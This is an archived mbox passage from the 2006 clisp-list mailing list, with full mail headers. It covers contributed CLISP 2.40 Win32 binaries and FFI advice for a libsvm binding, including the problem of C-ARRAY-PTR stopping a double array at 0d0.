(TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVY4t-0008Mu-QH for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:36:17 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVY3d-0003cA-88 for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 20:34:57 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 20:34:57 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 20:34:57 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 14:33:27 -0400 Lines: 22 Message-ID: <45254FF7.5080505@gnu.org> References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> <45228950.5090908@gnu.org> <4522D391.8020805@tut.by> <452517C7.8020509@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] 2.40 binaries X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 18:36:17 -0000 Jack Unrue wrote: > On 10/5/06, Sam Steingold wrote: >> Yaroslav Kavenchuk wrote: >>> I should rebuild and resend packages for win32? >> >> yes, please upload the new packages to >> anonymous@upload.sourceforge.net:/incoming >> and post the description here in the following format: >> >> (see >> https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355) >> >> contributed binary distributions: >> >> clisp-2.39-win32-mingw-no-readline.zip >> built by Jack Unrue >> using mingw without i18n and readline >> with rawsock, dirkey and bindings/win32 > > OK, I'll take MinGW again. Thanks. please send an e-mail when you finish uploading. From reini.urban@gmail.com Thu Oct 05 11:42:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVYB4-0005dR-Dt for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:42:38 -0700 Received: from ug-out-1314.google.com ([66.249.92.170]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVYB3-0001WD-2F for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 11:42:38 -0700 Received: by ug-out-1314.google.com with SMTP id p27so236700ugc for ; Thu, 05 Oct 2006 11:42:32 -0700 (PDT) Received: by 10.66.221.19 with SMTP id t19mr2318549ugg; Thu, 05 Oct 2006 11:42:32 -0700 (PDT) Received: by 10.66.252.14 with HTTP; Thu, 5 Oct 2006 11:42:32 -0700 (PDT) Message-ID: <6910a60610051142ld56a870n843427921e700ad4@mail.gmail.com> Date: Thu, 5 Oct 2006 20:42:32 +0200 From: "Reini Urban" Sender: reini.urban@gmail.com To: clisp-list@lists.sourceforge.net In-Reply-To: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: base64 Content-Disposition: inline References: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> X-Google-Sender-Auth: 852689ce969d7c2f X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] 2.40 win32 binary X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 18:42:38 -0000 MjAwNi8xMC80LCBNYXJrbyBLb2Np5iA8bWFya28ua29jaWNAZ21haWwuY29tPjoKPiBJcyB0aGVy ZSBnb2luZyB0byBiZSBvbmU/CgpzdXJlLgpjeWd3aW4gbmVlZHMgc29tZSBtb3JlIGRheXMsIGJl Y2F1c2UgSSdtIHZlcnkgYnVzeSByaWdodCBub3cKd2l0aCBvdGhlciBzdHVmZiB1bnRpbCBhYm91 dCBzdW5kYXkuCg== From jdunrue@gmail.com Thu Oct 05 12:18:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVYjx-0000ks-4F for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:18:41 -0700 Received: from py-out-1112.google.com ([64.233.166.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVYjv-0002Nv-RX for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:18:41 -0700 Received: by py-out-1112.google.com with SMTP id x31so797973pye for ; Thu, 05 Oct 2006 12:18:39 -0700 (PDT) Received: by 10.35.135.12 with SMTP id m12mr4175948pyn; Thu, 05 Oct 2006 12:18:39 -0700 (PDT) Received: by 10.35.51.17 with HTTP; Thu, 5 Oct 2006 12:18:39 -0700 (PDT) Message-ID: Date: Thu, 5 Oct 2006 13:18:39 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> <45228950.5090908@gnu.org> <4522D391.8020805@tut.by> <452517C7.8020509@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] 2.40 binaries X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 19:18:41 -0000 clisp-2.40-win32-mingw-without-readline.zip built by Jack Unrue using mingw without i18n and readline with rawsock, dirkey, bindings/win32 and wildcard is now uploaded to sf.net /incoming I added the wildcard module this time because Yaroslav included it in his 2.39 build last time. -- Jack Unrue From lisp-clisp-list@m.gmane.org Thu Oct 05 12:33:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVYy9-00029B-Gl for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:33:21 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVYy8-0003V7-3m for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:33:21 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVYx8-00051z-5V for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 21:32:18 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 21:32:18 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 21:32:18 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 15:31:11 -0400 Lines: 45 Message-ID: <45255D7F.1010203@gnu.org> References: <4523D195.30405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 19:33:22 -0000 Hoehle, Joerg-Cyril wrote: > > o svm_cross_validation :args (c-ptr problem) > Everytime you use (c-ptr problem), there's full conversion taking place. > Are you sure that's what you intended? > Did you mean (c-pointer problem) instead? yes, probably -- but does (c-pointer problem) provide type-checking? > Same for (c-ptr parameter) parameter is small enough for this not to matter too much > (SLOT (FOREIGN-VALUE #)) is abstraction violation > Please use > (WITH-C-PLACE (p-parameter f-parameter) > (setf (slot p-parameter 'gamma) 0d0) > instead. I also have (defun cross-validation (problem param nr_fold) (with-foreign-object (target `(c-array double-float ,(slot (foreign-value problem) 'l))) (svm_cross_validation (foreign-value problem) param nr_fold target) (foreign-value target))) this is eminently wrong because (foreign-value problem) converts potentially HUGE datum from lisp to C. what is the right replacement? I think each problem variable should be opaque (c-pointer problem) and there should be functions problem-l problem-y problem-x problem-y-i -- non-consing, returns float problem-x-i problem-x-i-j -- non-consing, returns float how do I implement them? thanks for your feedback (and your kind words) From lisp-clisp-list@m.gmane.org Thu Oct 05 12:53:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVZHH-0003y9-ES for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:53:07 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVZHG-0008Eu-UR for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 12:53:07 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVZGh-0002jY-2G for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 21:52:31 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 21:52:31 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 21:52:31 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 15:51:41 -0400 Lines: 10 Message-ID: <4525624D.40600@gnu.org> References: <4523D195.30405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 19:53:07 -0000 Hoehle, Joerg-Cyril wrote: > > Once you have that, you can use FINALIZE on the model. You could even > use FINALIZE's guarded form to make some dependency explicit: > (FINALIZE MODEL PROBLEM) > With the guarded form, you may be able to add a finalizer for PROBLEM > itself, but I've never used the guarded form... guarding works in the other direction, I think. I want PROBLEM not to be GCed until MODEL is. From lisp-clisp-list@m.gmane.org Thu Oct 05 13:01:14 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVZP8-0004gb-8q for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 13:01:14 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVZP7-0001Xr-Hz for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 13:01:14 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1GVZNz-00056L-Jq for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:00:03 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 22:00:03 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 22:00:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 15:54:29 -0400 Lines: 4 Message-ID: <452562F5.7020700@gnu.org> References: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] 2.40 win32 binary X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 20:01:14 -0000 Marko Kocić wrote: > Is there going to be one? thanks to Yaroslav Kavenchuk & Jack Unrue, you now have TWO! From lisp-clisp-list@m.gmane.org Thu Oct 05 13:45:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVa6K-0001Ay-Ss for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 13:45:52 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVa6J-0004aR-Ac for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 13:45:52 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVa4D-00017O-4D for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:43:41 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 22:43:41 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 22:43:41 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 16:40:42 -0400 Lines: 18 Message-ID: <45256DCA.6080103@gnu.org> References: <4523D195.30405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 20:45:53 -0000 Hoehle, Joerg-Cyril wrote: > > o defun cross_validation > (with-foreign-object (target #) ... (foreign-value target)) > (with-c-var (target #) ... target) would be clearer I think. > I prefer to use with-c-var whenever possible. > Same for get-labels, predict-probability nope. (defun get-labels (model) (with-c-var (label `(c-array int ,(get-nr-class model))) (svm_get_labels model label) label)) (LIBSVM:get-labels MODEL) [SIMPLE-ERROR]: FFI::FOREIGN-CALL-OUT: #(0 0) cannot be converted to the foreign type FFI:C-POINTER From lisp-clisp-list@m.gmane.org Thu Oct 05 14:05:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVaOt-0002uI-Ua for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 14:05:04 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GVaOs-0000h2-Rb for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 14:05:03 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GVaOF-0007LG-75 for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 23:04:23 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 23:04:23 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 05 Oct 2006 23:04:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Thu, 05 Oct 2006 17:03:24 -0400 Lines: 30 Message-ID: <4525731C.6040205@gnu.org> References: <4523D195.30405@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 21:05:06 -0000 horror horror horror!!!! [24]> (def-c-type node (c-struct list (index int) (value double-float))) NODE [25]> (def-c-type problem (c-struct list (l int) ; number of records (y (c-array-ptr double-float)) ; of length l (targets) (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) PROBLEM [26]> (setq p (allocate-deep 'problem (list 5 #(1d0 0d0 1d0 1d0 1d0) #(#((-1 0.0d0)) #((0 -0.6666666666666667d0) (-1 0.0d0)) #((0 -0.33333333333333337d0) (-1 0.0d0)) #((-1 0.0d0)) #((0 0.33333333333333326d0) (-1 0.0d0)) #((0 0.6666666666666667d0) (-1 0.0d0)) #((0 1.0d0) (-1 0.0d0)) #((0 -1.0d0) (1 -0.6666666666666667d0) (-1 0.0d0))))) ) # [27]> (ffi:foreign-value p) (5 #(1.0d0) #(#((-1 0.0d0)) #((0 -0.6666666666666667d0) (-1 0.0d0)) #((0 -0.33333333333333337d0) (-1 0.0d0)) #((-1 0.0d0)) #((0 0.33333333333333326d0) (-1 0.0d0)) #((0 0.6666666666666667d0) (-1 0.0d0)) #((0 1.0d0) (-1 0.0d0)) #((0 -1.0d0) (1 -0.6666666666666667d0) (-1 0.0d0)))) [28]> you see: 0d0 is interpreted as the end of the y vector!!!!!! so y in (ffi:foreign-value p) is #(1.0d0) and not #(1d0 0d0 1d0 1d0 1d0) From sds@gnu.org Thu Oct 05 16:40:38 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVcpR-0000JQ-TO for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 16:40:37 -0700 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVcpP-0007wl-FS for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 16:40:37 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6O00EHESHXJNG0@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 19:41:57 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 5069A21E097; Thu, 05 Oct 2006 19:40:11 -0400 (EDT) Date: Thu, 05 Oct 2006 19:40:11 -0400 From: Sam Steingold In-reply-to: <614860A7-3425-4980-9630-DCFA698BA128@club-internet.fr> To: clisp-list@lists.sourceforge.net, Yves Codet Mail-followup-to: clisp-list@lists.sourceforge.net, Yves Codet Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <614860A7-3425-4980-9630-DCFA698BA128@club-internet.fr> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] =?utf-8?q?R=C3=A9p_=3A__Problem_compiling_CLisp_2=2E?= =?utf-8?q?40_on_Solaris/x86?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Oct 2006 23:40:38 -0000 > * Yves Codet [2006-10-04 07:56:00 +0200]: > > "patch" couldn't find the file to patch (maybe I used it the wrong > way); if I apply it to "src/documentation.lisp" "configure" ends with > an error (which wasn't the case without the patch): > > make[1]: *** [check] Illegal instruction > make: *** [check-subdirs] Error 2 not enough information - platform? error messages? > Configure findings: > FFI: no (user requested: default) > readline: yes (user requested: default) > libsigsegv: yes > > Maybe I don't understand the meaning of the line: > > FFI: no (user requested: default) > > Isn't "--with-dynamic-ffi" the default? default is "--with-dynamic-ffi if it works". i.e., if FFI does not work on your platform, build without it. an explicit --with-dynamic-ffi means that configure will fail if FFI is not available. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://israelunderattack.slide.com http://israelnorthblog.livejournal.com http://truepeace.org http://palestinefacts.org http://pmw.org.il Failure is not an option. It comes bundled with your Microsoft product. From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 05 22:02:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVhqa-0001Ke-9I for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:02:08 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVhqZ-0002vz-LV for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:02:08 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 6 Oct 2006 07:01:59 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 6 Oct 2006 07:01:59 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 6 Oct 2006 07:01:58 +0200 Message-Id: in-reply-to: <4525731C.6040205@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ffi & libsvm feedback on module Thread-Index: AcbowbcDI1cSgRs9QAKnhRi9ch388AAP70kQ From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 06 Oct 2006 05:01:59.0644 (UTC) FILETIME=[8DE601C0:01C6E904] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: sds@gnu.org Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Oct 2006 05:02:08 -0000 Sam Steingold wrote: >horror horror horror!!!! > (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) >you see: 0d0 is interpreted as the end of the y vector!!!!!! Not such a surprise. C-ARRAY-PTR is good enough for the Lisp array -> C = conversion. That's the context where I've advocated using it several = times. For C->Lisp, one must examine the termination test. Obviously, = 0d0 is represented via 0 bytes in memory, and conversion stops there. In other words, (defun lisp-view-on-problem (problem) (foreign-value problem)) is an unsuitable converter. That's the general rule. You need explicit array dimensions. (with-c-place (p problem) (let ((l (get-size problem))) ; or (slot p 'l) (cast p `(c-struct list (int l) (c-ptr (c-array int ,l)) ;please = verify type (c-ptr (c-array double-float ,l))))) You may wish to optimize a little, as the above will call PARSE-C-TYPE = at run-time. Only (cast foo `(c-array int ,l)) is optimized. You could return (list l (cast ...) (cast ...)) instead. >(defun get-labels (model) > (with-c-var (label `(c-array int ,(get-nr-class model))) > (svm_get_labels model label) You need (c-var-address label) > label)) >does (c-pointer problem) provide type-checking? You didn't try it out, did you? You should not be able to supply another #. But IIRC opaque # are accepted. BTW, why do I get all your e-mails without mention of clisp-list, = whereas your recent URL showed me that they (or at least some of = them)are also in clisp-list archive ? Regards, J=F6rg. From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 05 22:12:18 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GVi0Q-00029d-2E for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:12:18 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GVi0N-0004xr-FB for clisp-list@lists.sourceforge.net; Thu, 05 Oct 2006 22:12:18 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Fri, 6 Oct 2006 06:36:07 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Fri, 6 Oct 2006 06:36:07 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Fri, 6 Oct 2006 06:36:05 +0200 Message-Id: in-reply-to: <17701.20470.529253.29774@isis.cs3-inc.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] fastcgi suggestion - access to whole environment Thread-Index: AcborZbhRlAze2rxQv6PJZUGmDP5HwAUnn2Q From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 06 Oct 2006 04:36:07.0316 (UTC) 